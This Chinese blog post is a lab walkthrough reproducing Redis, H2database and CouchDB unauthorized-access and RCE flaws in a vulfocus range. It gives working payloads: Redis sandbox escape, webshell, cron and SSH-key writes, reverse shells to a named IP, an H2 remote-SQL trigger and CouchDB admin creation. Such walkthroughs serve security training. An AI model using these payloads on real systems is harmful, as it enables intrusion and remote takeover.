服务攻防第七十八天(2023)

服务攻防-数据库安全&Redis&CouchDB&H2database&未授权访问&CVE漏洞

目录

服务攻防-数据库安全&Redis&CouchDB&H2database&未授权访问&CVE漏洞

#知识点

#章节点

#前置知识:

服务判断

对象类别

利用方法

vulfocus环境搭建

#数据库应用-Redis-未授权访问&CVE漏洞

漏洞复现

沙箱绕过RCE-CVE-2022-0543

未授权访问-CNVD-2019-21763

未授权访问:CNVD-2015-07557

写Webshell需得到Web路径

写定时任务反弹shell

写入Linux ssh-key公钥

自动化项目

数据库应用-H2database--未授权访问&CVE漏洞

未授权进入:

RCE执行反弹:

数据库应用-Couchdb-未授权越权&CVE漏洞

Couchdb 垂直权限绕过(CVE-2017-12635)

Couchdb 命令执行 (CVE-2017-12636)

数据库应用-H2database--未授权访问&CVE漏洞

1、未授权进入:

2、RCE执行反弹:


#知识点

1、数据库-Redis-未授权RCE&CVE

2、数据库-Couchdb-未授权RCE&CVE

3、数据库-H2database-未授权RCE&CVE

#章节点

1、目标判断-端口扫描&组合判断&信息来源

2、安全问题-配置不当&CVE漏洞&弱口令爆破

3、复现对象-数据库&中间件&开发框架&应用协议

#前置知识:

1、复现环境:Vulfocus(官方在线的无法使用)

官方手册:https://fofapro.github.io/vulfocus/#/

搭建踩坑:(无法同步)

https://blog.csdn.net/m0_64563956/article/details/131229046

服务判断

端口扫描:利用服务开启后目标端口开放判断(比如redis的6379端口)

组合判断:利用搭建常见组合分析可能开放服务(比如使用java当作脚本语言,那可能就会使用SpringBoot开发框架)

信息来源:访问端口提示软件版本,应用信息等(这个就是当你访问的时候直接显示出来的版本或者特征信息)

强弱特征:如框架shiro强特征rememberMe,SpringBoot默认页面等

对象类别

对服务进行类别划分,通过服务功能理解,如数据库有帐号密码就有爆破利用方法,也可以针对服务公开的CVE进行漏洞测试及服务常见的错误安全配置导致的未授权访问等。

利用方法

主要集中在CVE漏洞,未授权访问,弱口令爆破等

在进行复现之前,需要先将vulfocus靶场搭建起来。

vulfocus环境搭建

服务器环境:阿里云Ubuntu22.04

首先更新一下apt源

apt-get update

安装docker

apt install docker

安装docker-compose(安装编译环境)

apt install docker-compose

查看一下docker和docker-compose的版本,确保安装完成

创建deamon.json文件,并下加速链接粘贴到该文件中,否则拉镜像时会很慢

{

"registry-mirrors": [

"https://dockerproxy.com/"

]

}

拉取镜像

docker pull dockerproxy.com/vulfocus/vulfocus:latest

重命名镜像

docker tag dockerproxy.com/vulfocus/vulfocus:latest vulfocus/vulfocus:latest

删除代理镜像

docker rmi dockerproxy.com/vulfocus/vulfocus:latest

启动环境,并将端口映射到本地的80端口(也就是将docker中的80端口映射到服务器的80端口)

docker run -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=0.0.0.0 vulfocus/vulfocus

直接访问服务器IP即可

默认管理员账号:admin

默认密码:admin

这里需要注意一点,一定要按照上面的步骤搭建,不然可能会出现“一键同步”失败的情况

这里是可以成功同步的

这里我们搜索redis,便可以搜到有关redis的三个漏洞,直接下载即可

下载完成之后点击首页便可以看到刚下载的三个漏洞

由于环境搭建在公网,所以这里建议修改密码

到此处我们的vulfocus就搭建完成,接着就开始三个数据库相关漏洞的复现了。

#数据库应用-Redis-未授权访问&CVE漏洞

默认端口:6379

Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

漏洞复现
沙箱绕过RCE-CVE-2022-0543

poc:执行id命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res'0

在靶场将环境启动后,默认的redis数据库端口号是6379,但是这里由于是在docker中启动并映射到阿里云主机的40540端口。所以我们在复现的时候直接连接40540端口即可。在实战中还是直接连接6379。而redis的特征点就是端口,当通过端口扫描工具(nmap等)扫描到目标服务器开启6379端口便可以对其进行测试。

直接利用工具ARDB进行连接,点击新建连接输入ip和端口直接连接即可。

注:Another Redis DeskTop Manager (简称:ARDB) 是一款 Redis 管理工具,它是一款跨平台的桌面应用程序,支持 Windows、MacOS 和 Linux 等操作系统。

这里我们直接输入POC,在箭头所指的部位填上要执行的命令即可。

未授权访问-CNVD-2019-21763

由于在Reids4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

https://github.com/vulhub/redis-rogue-getshell

python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

这个漏洞成因就是redis新增模块功能导致可以加载恶意so文件进而实现远程代码执行

去上面的链接下载的文件是没有exp.so文件的,需要进行make一下

编译完成之后便可以得到exp.so文件

然后便可以执行命令了,这里要注意攻击机的8888端口要开放,因为当攻击机发送请求后,结果是需要回连给攻击机的。

未授权访问:CNVD-2015-07557
写Webshell需得到Web路径

利用条件:Web目录权限可读写

config set dir /tmp #设置WEB写入目录

config set dbfilename 1.php #设置写入文件名

set test "<?php phpinfo();?>" #设置写入文件代码

bgsave #保存执行

save #保存执行

注意:部分没目录权限读写权限

写定时任务反弹shell

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

config set dir /var/spool/cron

set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"

config set dbfilename x

save

注意:

centos会忽略乱码去执行格式正确的任务计划

而ubuntu并不会忽略这些乱码,所以导致命令执行失败

写入Linux ssh-key公钥

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

ssh-keygen -t rsa

cd /root/.ssh/

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txt

cat key.txt | redis-cli -h 目标IP -x set xxx

//以上步骤在自己的攻击机器上执行

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa root@目标IP

在面试的时候,经常会有面试官问道redis未授权的三种gettshell方式,那么就是上面的三种了,分别是写公钥利用ssh连接、设置定时任务、直接写入后门。但这三种getshell的方式存在很多条件,所以实际遇到redis未授权的时候,可以直接利用github上的自动化脚本进行探测。否则还需要一个方法一个方法的去试比较麻烦

自动化项目

https://github.com/n0b0dyCN/redis-rogue-server

python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP

这个自动化项目也是需要make一下,这里注意一下目录是在exp目录下make,不要搞错了。

完成之后便会得到so文件

然后直接执行即可,这里有三个需要注意的点,第一个是这里也是需要攻击机的端口21000开放,可能每个人的端口不一样,这个应该是随机的,不要忘记端口开放就行;第二个是利用这个脚本去测试的时候,第一次会报错,第二次就好了,不知道为什么;第三个就是可以选择i模式和r模式,i模式就是交互式,r模式就是反弹shell。这里直接选择交互式就可以执行命令了。

数据库应用-H2database--未授权访问&CVE漏洞

默认端口:20051

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

未授权进入:

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

RCE执行反弹:

-创建数据库文件:h2database.sql

CREATE TABLE test (

id INT NOT NULL

);

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1

-启动提供SQL文件远程加载服务

python3 -m http.server 端口

-填入Payload使其加载远程SQL

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\

nc -lvvp xxxx

数据库应用-Couchdb-未授权越权&CVE漏洞

默认端口:5984

Couochdb是一个主要储存JSON数据的数据库,显著特点就是端口5984.

Couchdb 垂直权限绕过(CVE-2017-12635)

ApacheCouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,CreditSuisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用。

1、先创建用户

PUT /_users/org.couchdb.user:xiaodi HTTP/1.1

Host:47.94.236.117:44389

Accept:*/*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 108

{

"type": "user",

"name": "xiaodi",

"roles": ["_admin"],

"roles": [],

"password": "xiaodi"

}

2、登录用户授权

Get:/_utils/

xiaodi xiaodi

开启靶场后有三个映射端口,我这里只有第二个能访问,其他两个不能访问,也不知道为啥会有三个映射端口,不过也无所谓,对复现漏洞没有影响。

打开浏览器访问映射端口有数据

利用postman发送数据,发送方式为PUT

未发送之前,我们先访问登录地址,尝试用xiaopei,xiaopei去登录,是登录不上的。

利用postman发送数据之后

此时便可以通过创建的账户进行登录,并且权限还是管理员,因为在发送数据包的时候,创建用户的权限选择就是admin。

Couchdb 命令执行 (CVE-2017-12636)

1、下载exp.py

2、修改目标和反弹地址

3、Python3调用执行即可

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

数据库应用-H2database--未授权访问&CVE漏洞

默认端口:20051

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

H2database是一个java的数据库,默认端口是20051。主要特点就是下图,实战中遇到这样的画面就基本可以判断为H2database的web界面了。此时便可以尝试一下它的历史漏洞。主要问题呢就是下面两个,一个未授权访问,一个就是RCE。

1、未授权进入:

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

首先在vulfocus中打开这个漏洞复现的靶场,在浏览器访问IP加端口即可,第二个端口没啥用也访问不到,直接访问第一个即可。

此时我们直接将那一串payload放到箭头所指的位置直接连接即可进入到控制台中

2、RCE执行反弹:

-创建数据库文件:h2database.sql

CREATE TABLE test (

id INT NOT NULL

);

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1

-启动提供SQL文件远程加载服务

python3 -m http.server 端口

-填入Payload使其加载远程SQL

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\

nc -lvvp xxxx

这个RCE反弹shell呢,就是先在攻击机上创建一个sql文件,sql文件中有反弹命令,然后利用python搭建一个http服务。在构造payload使得h2database加载该远程sql文件同时执行反弹shell命令。这个时候只需要在攻击机监听即可收到反弹的shell。

1.构造反弹命令

将反弹命令填入到sql文件中

攻击机创建sql文件,将内容粘贴进去。保存退出

vim h2database.sql

在攻击机上开启http服务

首先来到本机访问这个sql文件,确保能够正常下载。

然后监听本机的8888端口,以便等会能够正常反弹shell

将sql文件的访问地址放入其中,构造payload

直接执行构造好的payload点击连接

攻击机接收到反弹的shell

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaopeisec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值